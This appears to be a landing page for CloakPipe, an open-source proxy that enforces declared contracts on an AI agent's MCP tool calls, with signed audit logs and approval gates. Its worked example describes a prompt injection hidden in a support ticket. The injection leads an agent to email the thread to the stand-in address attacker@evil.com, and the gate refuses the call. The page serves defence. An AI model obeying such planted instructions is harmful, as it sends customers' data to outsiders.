Every tool call is checked against a contract you declared before it runs. Anything outside it is refused, and the refusal is logged where no one can quietly edit it.
Developer preview Changelog →Model proposes. Code disposes. CloakPipe is the code. It sits on the action, not the prompt, so it never has to spot the injection. It only has to see that the call falls outside the contract.
Runs as an MCP proxy over stdio, with no code changes in the agentClaude CodeCursorCodexany MCP host
Agents in production send email, write to databases, issue refunds and call internal APIs. Observability tools show you what happened afterwards; they stop nothing. Identity tools name the agent; they do not limit what it does. The missing piece is an enforcement point on the action itself.
Prompt injection arrives through tickets, web pages and documents. A filter in front of the model will never catch all of it. A check on the resulting tool call does not need to.
It holds a long-lived credential, so one bad call can reach anything the token can. A contract limits which tools and which argument values get through the gate.
A call times out, the agent retries, and the customer gets two refunds or two invoices. Side effects need a state, not a blind retry.
The gate runs as cloakpipe mcp-proxy in front of one MCP server, over stdio. It decides with plain code, so the same call always gets the same answer.
A tool contract lists the tools the agent may call and the shape of every argument: types, lengths, ranges, patterns, and values that must match the current task. It is closed by default: an undeclared tool or argument is refused. An optional Cedar policy adds what one call cannot show: rate limits over persistent counters, tiers and time windows.
Every tools/call is checked before it is forwarded. Refused calls get a structured JSON-RPC error the agent can read, and the tool never sees them. Risky calls, such as a refund over $100, wait for an approval bound to the exact arguments. Errors fail closed. --mode shadow lets you watch before you enforce.
Every decision, allowed or refused, is an entry in a hash-chained ledger that never stores raw argument values, and each entry is signed with the gate's Ed25519 key. The gate seals entries into epochs and timestamps each one with an RFC 3161 authority and Sigstore Rekor. cloakpipe verify checks an exported audit pack offline.
Hidden text in a support ticket tells the agent to forward the thread to an outside address. The recipient is not the ticket's customer, so the call is outside the contract and the email server never sees it. This is what the gate sends back for that call (abridged).
# hidden text in the ticket told the agent to forward the thread agent → tools/call send_email to: attacker@evil.com gate ✕ deny scope_mismatch at /to recipient is not the ticket's customer agent ← {"error":{"code":-32001, "data":{"path":"/to", "reason":"scope_mismatch", "release":"sha256:8e7a3fb…", "tool":"send_email"}, "message":"tool call refused by CloakPipe: scope_mismatch"}, "id":7,"jsonrpc":"2.0"} tool send_email never called ledger ✓ receipt written · signed · deny scope_mismatch
examples/support-agent. The agent was tricked; the gate did not need to notice. The call was outside the contract, so it never ran.Each example says what ships today. Where the full story needs something we have not built yet, the badge says so.
The agent calls send_email to the customer on the ticket. Every argument is inside the contract, so the gate forwards it unchanged.
Every decision is a signed ledger entry, allowed calls included, and the email's outcome is recorded too.
Hidden text in a ticket makes the agent call send_email to attacker@evil.com. The recipient is not the ticket's customer, so the gate refuses with scope_mismatch (JSON-RPC -32001). The email server never sees it. A call to an undeclared export_customers is refused as undeclared_tool.
Slack and PagerDuty alerts on denials are on the roadmap.
The contract says a refund over $100 needs approval. A $350 refund is refused with approval_required until someone signs an approval for that exact call with cloakpipe approve. The agent retries and the gate forwards it. Reusing that approval for a different amount is refused with approval_required again: the receipt is bound to the exact call, so it matches no other.
The refusal names the approvers and the call's fingerprint, but nothing delivers the request yet: an approval broker and Slack approvals are on the roadmap.
A create_invoice call is sent but the answer never comes back. The gate marks the operation unknown and refuses every retry with reconcile_before_retry until an operator records what happened with cloakpipe operations reconcile. A retry of a call that already succeeded gets the stored result instead of a second invoice.
Today the outcome turns unknown when the gate or the tool server stops mid-call. Per-call timeouts and reconciliation hooks are on the roadmap.
A gate is useful because it is small and predictable. These are the things it deliberately does not try to be.
It does not read prompts or classify content. There is no model and no classifier in the decision, only the contract and the call.
It does not inventory your agents, issue identities or draw compliance charts. It produces the evidence those systems can use.
It cannot stop an action that never becomes a tool call through the gate, or a compromise of the host below it.
Free, open-source gate (MIT). It runs on your machines, and enforcement will never be behind a paywall. Declare what the agent may do, and watch what it refuses.